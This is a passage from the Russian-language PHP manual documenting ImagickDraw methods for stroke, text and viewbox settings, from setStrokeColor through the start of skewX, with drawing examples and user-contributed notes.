  • Устанавливает цвет, используемый для обводки контуров объекта

ImagickDraw::setStrokeColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeColor — Устанавливает цвет, используемый для обводки контуров объекта

Описание

public ImagickDraw::setStrokeColor(ImagickPixel $stroke_pixel): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает цвет, используемый для обводки контуров объекта.

Список параметров

stroke_pixel

Цвет обводки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeColor()

<?php
function setStrokeColor($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(5);

$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);

$draw->setStrokeOpacity(0.1);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров

  • « ImagickDraw::setStrokeColor
  • ImagickDraw::setStrokeDashOffset »
  • PHP Manual
  • ImagickDraw
  • Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров

ImagickDraw::setStrokeDashArray

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashArray — Задаёт паттерн из штрихов и пробелов, используемых для обводки контуров

Описание

public ImagickDraw::setStrokeDashArray(array $dashArray): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт паттерн из штрихов и пробелов, используемый для обводки контуров. strokeDashArray представляет собой массив чисел, определяющих длину чередующихся штрихов и пробелов в пикселях. Если указано нечётное количество значений, то список значений повторяется, чтобы получить чётное количество значений. Чтобы удалить существующий массив штрихов, необходимо передать number_elements со значением ноль и dash_array со значением null. Типичный массив strokeDashArray_ может содержать элементы 5 3 2.

Список параметров

dashArray

Массив чисел с плавающей точкой.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeDashArray()

<?php
function setStrokeDashArray($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);

$draw->setStrokeDashArray([10, 10]);
$draw->rectangle(100, 50, 225, 175);

$draw->setStrokeDashArray([20, 5, 20, 5, 5, 5,]);
$draw->rectangle(275, 50, 400, 175);

$draw->setStrokeDashArray([20, 5, 20, 5, 5]);
$draw->rectangle(100, 200, 225, 350);

$draw->setStrokeDashArray([1, 1, 1, 1, 2, 2, 3, 3, 5, 5, 8, 8, 13, 13, 21, 21, 34, 34, 55, 55, 89, 89, 144, 144, 233, 233, 377, 377, 610, 610, 987, 987, 1597, 1597, 2584, 2584, 4181, 4181,]);

$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

KV 13-Mar-2019 02:47
To remove the dash and switch back to solid line, provide an array with a null value in it for $dashArray.

->setStrokeDashArray( [null] );
andrew at ierbsolutions dot co dot uk 22-Oct-2008 02:11
Example:

<?php
$base_image = new Imagick('example.png');
$rect = new ImagickDraw();
$rect->setFillColor(new ImagickPixel("#EEEEEE"));
$rect->setFillOpacity(0);
$rect->setStrokeColor(new ImagickPixel("#FF0000"));
$rect->setStrokeDashArray(array(5,5,5));
$rect->rectangle(10, 10, 100, 100);
$base_image->drawImage($rect);

header('Content-type: image/png');
echo $base_image->getImage();
exit();
?>


Задаёт смещение в штриховом паттерне для начала штриховки

  • « ImagickDraw::setStrokeDashArray
  • ImagickDraw::setStrokeLineCap »
  • PHP Manual
  • ImagickDraw
  • Задаёт смещение в штриховом паттерне для начала штриховки

ImagickDraw::setStrokeDashOffset

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeDashOffset — Задаёт смещение в штриховом паттерне для начала штриховки

Описание

public ImagickDraw::setStrokeDashOffset(float $dash_offset): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт смещение в штриховом паттерне для начала штриховки.

Список параметров

dash_offset

Смещение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeDashOffset()

<?php
function setStrokeDashOffset($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(4);
$draw->setStrokeDashArray([20, 20]);
$draw->setStrokeDashOffset(0);
$draw->rectangle(100, 50, 225, 175);

//Начало эффекта штриховки в середине сплошной части
$draw->setStrokeDashOffset(10);
$draw->rectangle(275, 50, 400, 175);

//Начало эффекта штриховки в пространственной части
$draw->setStrokeDashOffset(20);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeDashOffset(5);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

  • « ImagickDraw::setStrokeDashOffset
  • ImagickDraw::setStrokeLineJoin »
  • PHP Manual
  • ImagickDraw
  • Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

ImagickDraw::setStrokeLineCap

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineCap — Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке

Описание

public ImagickDraw::setStrokeLineCap(int $linecap): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт форму, которая будет использоваться в конце открытых внутренних контуров при их обводке.

Список параметров

linecap

Одна из констант LINECAP (imagick::LINECAP_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeLineCap()

<?php
function setStrokeLineCap($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(25);

$lineTypes = [\Imagick::LINECAP_BUTT, \Imagick::LINECAP_ROUND, \Imagick::LINECAP_SQUARE,];

$offset = 0;

foreach ($lineTypes as $lineType) {
$draw->setStrokeLineCap($lineType);
$draw->line(50 + $offset, 50, 50 + $offset, 250);
$offset += 50;
}

$imagick = new \Imagick();
$imagick->newImage(300, 300, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:35
Possible values are:

LINEJOIN_UNDEFINED
LINEJOIN_MITER
LINEJOIN_ROUND
LINEJOIN_BEVEL

...all prefixed with Imagick:: like:

Imagick::LINEJOIN_ROUND


Задаёт форму, которая будет использоваться в углах контуров при их обводке

  • « ImagickDraw::setStrokeLineCap
  • ImagickDraw::setStrokeMiterLimit »
  • PHP Manual
  • ImagickDraw
  • Задаёт форму, которая будет использоваться в углах контуров при их обводке

ImagickDraw::setStrokeLineJoin

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeLineJoin — Задаёт форму, которая будет использоваться в углах контуров при их обводке

Описание

public ImagickDraw::setStrokeLineJoin(int $linejoin): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт форму, которая будет использоваться в углах контуров (или других векторных фигур) при их обводке.

Список параметров

linejoin

Одна из констант LINEJOIN (imagick::LINEJOIN_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeLineJoin()

<?php
function setStrokeLineJoin($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(20);

$offset = 220;

$lineJoinStyle = [
\Imagick::LINEJOIN_MITER,
\Imagick::LINEJOIN_ROUND,
\Imagick::LINEJOIN_BEVEL,
];

for ($x = 0; $x < count($lineJoinStyle); $x++) {
$draw->setStrokeLineJoin($lineJoinStyle[$x]);
$points = [
['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
['x' => 20 * 5, 'y' => 20 * 5 + $x * $offset],
['x' => 70 * 5, 'y' => 50 * 5 + $x * $offset],
['x' => 40 * 5, 'y' => 10 * 5 + $x * $offset],
];

$draw->polyline($points);
}

$image = new \Imagick();
$image->newImage(500, 700, $backgroundColor);
$image->setImageFormat("png");

$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

sudopeople gmail 21-Oct-2009 03:32
For many (myself included) Rex's note maybe not be blatant enough. The constants are declared for the Imagick class only, so using them requires this syntax: Imagick::LINEJOIN_ constant

Here's an example oh how you might use it:

<?php
$img = new Imagick();
$img->newImage($width, $height, new ImagickPixel('transparent'));
$draw = new ImagickDraw();
$draw->setStrokeLineJoin(Imagick::LINEJOIN_ROUND);
?>

If you're not drawing polylines and are drawing simple lines, also see setStrokeLineCap
Rex Schrader 17-May-2009 08:36
From imagick_helpers.c (pecl release), possible values are:
  LINEJOIN_UNDEFINED
  LINEJOIN_MITER
  LINEJOIN_ROUND
  LINEJOIN_BEVEL


Задаёт предел среза обводки

  • « ImagickDraw::setStrokeLineJoin
  • ImagickDraw::setStrokeOpacity »
  • PHP Manual
  • ImagickDraw
  • Задаёт предел среза обводки

ImagickDraw::setStrokeMiterLimit

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeMiterLimit — Задаёт предел среза обводки

Описание

public ImagickDraw::setStrokeMiterLimit(int $miterlimit): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт предел среза. Когда два отрезка линии встречаются под острым углом и для 'lineJoin' заданы угловые стыки, срез может выходить далеко за пределы толщины линии, обводящей контур. 'miterLimit' накладывает ограничение на отношение длины среза к 'lineWidth'.

Список параметров

miterlimit

Предел среза.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeMiterLimit()

<?php
function setStrokeMiterLimit($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setStrokeOpacity(0.6);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(10);

$yOffset = 100;

$draw->setStrokeLineJoin(\Imagick::LINEJOIN_MITER);

for ($y = 0; $y < 3; $y++) {

$draw->setStrokeMiterLimit(40 * $y);

$points = [
['x' => 22 * 3, 'y' => 15 * 4 + $y * $yOffset],
['x' => 20 * 3, 'y' => 20 * 4 + $y * $yOffset],
['x' => 70 * 5, 'y' => 45 * 4 + $y * $yOffset],
];

$draw->polygon($points);
}

$image = new \Imagick();
$image->newImage(500, 500, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

$image->setImageType(\Imagick::IMGTYPE_PALETTE);
$image->setImageCompressionQuality(100);
$image->stripImage();

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Определяет непрозрачность обводки контуров объекта

  • « ImagickDraw::setStrokeMiterLimit
  • ImagickDraw::setStrokePatternURL »
  • PHP Manual
  • ImagickDraw
  • Определяет непрозрачность обводки контуров объекта

ImagickDraw::setStrokeOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeOpacity — Определяет непрозрачность обводки контуров объекта

Описание

public ImagickDraw::setStrokeOpacity(float $stroke_opacity): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Определяет непрозрачность обводки контуров объекта.

Список параметров

stroke_opacity

Непрозрачность обводки. 1.0 - полностью непрозрачная.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeOpacity()

<?php
function setStrokeOpacity($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(10);
$draw->setStrokeOpacity(1);
$draw->line(100, 80, 400, 125);
$draw->rectangle(25, 200, 150, 350);
$draw->setStrokeOpacity(0.5);
$draw->line(100, 100, 400, 145);
$draw->rectangle(200, 200, 325, 350);
$draw->setStrokeOpacity(0.2);
$draw->line(100, 120, 400, 165);
$draw->rectangle(375, 200, 500, 350);

$image = new \Imagick();
$image->newImage(550, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает паттерн, используемый для обводки контуров объекта

  • « ImagickDraw::setStrokeOpacity
  • ImagickDraw::setStrokeWidth »
  • PHP Manual
  • ImagickDraw
  • Устанавливает паттерн, используемый для обводки контуров объекта

ImagickDraw::setStrokePatternURL

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokePatternURL — Устанавливает паттерн, используемый для обводки контуров объекта

Описание

public ImagickDraw::setStrokePatternURL(string $stroke_url): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает паттерн, используемый для обводки контуров объекта.

Список параметров

stroke_url

URL обводки.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает ширину обводки, используемой для рисования контуров объекта

  • « ImagickDraw::setStrokePatternURL
  • ImagickDraw::setTextAlignment »
  • PHP Manual
  • ImagickDraw
  • Устанавливает ширину обводки, используемой для рисования контуров объекта

ImagickDraw::setStrokeWidth

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setStrokeWidth — Устанавливает ширину обводки, используемой для рисования контуров объекта

Описание

public ImagickDraw::setStrokeWidth(float $stroke_width): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает ширину обводки, используемой для рисования контуров объекта.

Список параметров

stroke_width

Ширина обводки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setStrokeWidth()

<?php
function setStrokeWidth($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->line(100, 100, 400, 145);
$draw->rectangle(100, 200, 225, 350);
$draw->setStrokeWidth(5);
$draw->line(100, 120, 400, 165);
$draw->rectangle(275, 200, 400, 350);

$image = new \Imagick();
$image->newImage(500, 400, $backgroundColor);
$image->setImageFormat("png");
$image->drawImage($draw);

header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

Peter - the Pete - de Pijd 09-Jul-2009 02:31
If you set the stroke width to 0, there will often still be a hairline. To remove this hairline, use transparency, f.e. using:
setStrokeColor("#00000000")
hex 0-6 = color -> black
hex 6-8 = opacity -> full transparency
r dot vinke at gmail dot com 03-Nov-2008 06:27
Please note that this function only works (as in: the stroke width changes) when setStrokeColor() is called before.


Задаёт выравнивание текста

  • « ImagickDraw::setStrokeWidth
  • ImagickDraw::setTextAntialias »
  • PHP Manual
  • ImagickDraw
  • Задаёт выравнивание текста

ImagickDraw::setTextAlignment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAlignment — Задаёт выравнивание текста

Описание

public ImagickDraw::setTextAlignment(int $alignment): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт выравнивание текста, которое будет применяться при аннотировании текстом.

Список параметров

alignment

Одна из констант ALIGN (imagick::ALIGN_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setTextAlignment()

<?php
function setTextAlignment($strokeColor, $fillColor, $backgroundColor) {
$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(36);

$draw->setTextAlignment(\Imagick::ALIGN_LEFT);
$draw->annotation(250, 75, "Lorem Ipsum!");
$draw->setTextAlignment(\Imagick::ALIGN_CENTER);
$draw->annotation(250, 150, "Lorem Ipsum!");
$draw->setTextAlignment(\Imagick::ALIGN_RIGHT);
$draw->annotation(250, 225, "Lorem Ipsum!");
$draw->line(250, 0, 250, 500);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

sebastian dot mayer at maysoft dot de 26-Feb-2009 08:33
<?php

   define("LEFT", 1);
   define("CENTER", 2);
   define("RIGHT", 3);

   $w = 400;
   $h = 200;
   $gradient = new Imagick();
   $gradient->newPseudoImage($w, $h, "gradient:red-black");

   $draw = new ImagickDraw();
   $draw->setFontSize(12);
   $draw->setFillColor(new ImagickPixel("#ffffff"));

   $draw->setTextAlignment(LEFT);
   $draw->annotation(150, 30, "Hello World1!");
   $draw->setTextAlignment(CENTER);
   $draw->annotation(150, 50, "Hello World2!");
   $draw->setTextAlignment(RIGHT);
   $draw->annotation(150, 70, "Hello World3!");

   $draw->setFillColor(new ImagickPixel("#0000aa"));
   $x1 = 150;
   $x2 = 150;
   $y1 = 0;
   $y2 = 200;
   $draw->rectangle($x1, $y1, $x2, $y2);

   $gradient->drawImage($draw);

   $gradient->setImageFormat("png");
   header("Content-Type: image/png");
   echo $gradient;
?>


Управляет сглаживанием текста

  • « ImagickDraw::setTextAlignment
  • ImagickDraw::setTextDecoration »
  • PHP Manual
  • ImagickDraw
  • Управляет сглаживанием текста

ImagickDraw::setTextAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextAntialias — Управляет сглаживанием текста

Описание

public ImagickDraw::setTextAntialias(bool $antiAlias): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Управляет сглаживанием текста. По умолчанию текст сглаживается.

Список параметров

antiAlias

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setTextAntialias()

<?php
function setTextAntialias($fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor('none');
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(1);
$draw->setFontSize(32);
$draw->setTextAntialias(false);
$draw->annotation(5, 30, "Lorem Ipsum!");
$draw->setTextAntialias(true);
$draw->annotation(5, 65, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(220, 80, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

//Scale the image so that people can see the aliasing.
$imagick->scaleImage(220 * 6, 80 * 6);
$imagick->cropImage(640, 480, 0, 0);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Определяет оформление

  • « ImagickDraw::setTextAntialias
  • ImagickDraw::setTextEncoding »
  • PHP Manual
  • ImagickDraw
  • Определяет оформление

ImagickDraw::setTextDecoration

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextDecoration — Определяет оформление

Описание

public ImagickDraw::setTextDecoration(int $decoration): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт оформление, которое будет применяться при аннотировании текстом.

Список параметров

decoration

Одна из констант DECORATION (imagick::DECORATION_*).

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setTextDecoration()

<?php
function setTextDecoration($strokeColor, $fillColor, $backgroundColor, $textDecoration) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->setTextDecoration($textDecoration);
$draw->annotation(50, 75, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 200, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

mark-paspirgilis at web dot de 12-Jan-2011 09:41
Hi, guys.
I was looking half the day for a documentation about how to set the damn underline...
I found it out myself now.. happy to be able to share my new knowledge with you out there.
$decoration can be those:

1  -  Text will be normal
2  -  Underline
3  -  Upperline
4  -  Stroke-through

regards,
Mark Paspirgilis


Задаёт кодовый набор текста

  • « ImagickDraw::setTextDecoration
  • ImagickDraw::setTextInterlineSpacing »
  • PHP Manual
  • ImagickDraw
  • Задаёт кодовый набор текста

ImagickDraw::setTextEncoding

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextEncoding — Задаёт кодовый набор текста

Описание

public ImagickDraw::setTextEncoding(string $encoding): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт кодовый набор, который будет использоваться для текстовых аннотаций. Единственная кодировка символов, которая может быть указана в настоящее время, - это "UTF-8" для представления Unicode как последовательности байтов. Укажите пустую строку, чтобы установить кодировку текста по умолчанию в системе. Для успешного аннотирования текста с использованием Unicode могут потребоваться шрифты, поддерживающие Unicode.

Список параметров

encoding

Имя кодировки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает межстрочный интервал текста

  • « ImagickDraw::setTextEncoding
  • ImagickDraw::setTextInterwordSpacing »
  • PHP Manual
  • ImagickDraw
  • Устанавливает межстрочный интервал текста

ImagickDraw::setTextInterlineSpacing

(PECL imagick 3 >= 3.1.0)

ImagickDraw::setTextInterlineSpacing — Устанавливает межстрочный интервал текста

Описание

public ImagickDraw::setTextInterlineSpacing(float $spacing): bool

Устанавливает межстрочный интервал текста.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

spacing

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает межсловный интервал текста

  • « ImagickDraw::setTextInterlineSpacing
  • ImagickDraw::setTextKerning »
  • PHP Manual
  • ImagickDraw
  • Устанавливает межсловный интервал текста

ImagickDraw::setTextInterwordSpacing

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextInterwordSpacing — Устанавливает межсловный интервал текста

Описание

public ImagickDraw::setTextInterwordSpacing(float $spacing): bool

Устанавливает межсловный интервал текста.

Список параметров

spacing

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает межбуквенный интервал текста

  • « ImagickDraw::setTextInterwordSpacing
  • ImagickDraw::setTextUnderColor »
  • PHP Manual
  • ImagickDraw
  • Устанавливает межбуквенный интервал текста

ImagickDraw::setTextKerning

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

ImagickDraw::setTextKerning — Устанавливает межбуквенный интервал текста

Описание

public ImagickDraw::setTextKerning(float $kerning): bool

Устанавливает межбуквенный интервал текста.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

kerning

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Задаёт цвет фонового прямоугольника

  • « ImagickDraw::setTextKerning
  • ImagickDraw::setVectorGraphics »
  • PHP Manual
  • ImagickDraw
  • Задаёт цвет фонового прямоугольника

ImagickDraw::setTextUnderColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setTextUnderColor — Задаёт цвет фонового прямоугольника

Описание

public ImagickDraw::setTextUnderColor(ImagickPixel $under_color): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Задаёт цвет фонового прямоугольника для размещения под текстовыми аннотациями.

Список параметров

under_color

Фоновый цвет.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setTextUnderColor()

<?php
function setTextUnderColor($strokeColor, $fillColor, $backgroundColor, $textUnderColor) {
$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->annotation(50, 75, "Lorem Ipsum!");
$draw->setTextUnderColor($textUnderColor);
$draw->annotation(50, 175, "Lorem Ipsum!");

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 09:01
When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php

    $draw = new ImagickDraw();
    $draw->setFillColor('#ffff00');
    $draw->setFont('Eurostile');
    $draw->setFontSize(21);
    $draw->setTextUnderColor('#ff000088');
    $picin->annotateImage($draw,40,$height-10,0,"Hallo");

?>

The example code produces yellow text on a semi-transparent red background.


Устанавливает векторную графику

  • « ImagickDraw::setTextUnderColor
  • ImagickDraw::setViewbox »
  • PHP Manual
  • ImagickDraw
  • Устанавливает векторную графику

ImagickDraw::setVectorGraphics

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setVectorGraphics — Устанавливает векторную графику

Описание

public ImagickDraw::setVectorGraphics(string $xml): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает векторную графику, связанную с указанным объектом ImagickDraw. Метод используется с ImagickDraw::getVectorGraphics() в качестве метода для сохранения состояния векторной графики.

Список параметров

xml

XML, содержащий векторную графику.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования ImagickDraw::setVectorGraphics()

<?php
function setVectorGraphics() {
//Создание объекта для рисования с каким-нибудь рисунком в нём.
$draw = new \ImagickDraw();
$draw->setFillColor("red");
$draw->circle(20, 20, 50, 50);
$draw->setFillColor("blue");
$draw->circle(50, 70, 50, 50);
$draw->rectangle(50, 120, 80, 150);

//Получение рисунка в виде строки
$SVG = $draw->getVectorGraphics();

//$svg - строка, и её можно сохранить везде, где строка может быть сохранена

//Использование сохранённого рисунка для создания нового объекта для рисования
$draw2 = new \ImagickDraw();
//По-видимому, в тексте SVG отсутствует корневой элемент.
$draw2->setVectorGraphics("<root>".$SVG."</root>");

$imagick = new \Imagick();
$imagick->newImage(200, 200, 'white');
$imagick->setImageFormat("png");

$imagick->drawImage($draw2);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает общий размер холста

  • « ImagickDraw::setVectorGraphics
  • ImagickDraw::skewX »
  • PHP Manual
  • ImagickDraw
  • Устанавливает общий размер холста

ImagickDraw::setViewbox

(PECL imagick 2, PECL imagick 3)

ImagickDraw::setViewbox — Устанавливает общий размер холста

Описание

public ImagickDraw::setViewbox(
int $x1,
int $y1,
int $x2,
int $y2
): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Устанавливает общий размер холста, который будет записан с векторными данными рисунка. Обычно для этого используется размер изображения холста. Когда векторные данные сохраняются в форматах SVG или MVG, окно просмотра используется для указания размера изображения холста, на котором средство просмотра будет отображать векторные данные.

Список параметров

x1

Левая координата x.

y1

Левая координата y.

x2

Правая координата x.

y2

Правая координата y.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::setViewBox()

<?php
function setViewBox($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);

/*

Устанавливает общий размер холста, который будет записан с векторными данными рисунка. Обычно для этого используется размер изображения холста. Когда векторные данные сохраняются в форматах SVG или MVG, окно просмотра используется для указания размера изображения холста, на котором средство просмотра будет отображать векторные данные.

*/

$draw->circle(250, 250, 250, 0);
$draw->setviewbox(0, 0, 200, 200);
$draw->circle(125, 250, 250, 250);
$draw->translate(250, 125);
$draw->circle(0, 0, 125, 0);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Наклоняет текущую систему координат по горизонтали

  • « ImagickDraw::setViewbox
  • ImagickDraw::skewY »
  • PHP Manual
  • ImagickDraw
  • Наклоняет текущую систему координат по горизонтали

ImagickDraw::skewX

(PECL imagick 2, PECL imagick 3)

ImagickDraw::skewX — Наклоняет текущую систему координат по горизонтали

Описание

public ImagickDraw::skewX(float $degrees): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Наклоняет текущую систему координат по горизонтали.

Список параметров

degrees

Градус наклона.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Пример использования ImagickDraw::skewX()

<?php
function skewX($strokeColor, $fillColor, $backgroundColor, $fillModifiedColor,
$startX, $startY, $endX, $endY, $skew) {

$draw = new \ImagickDraw();

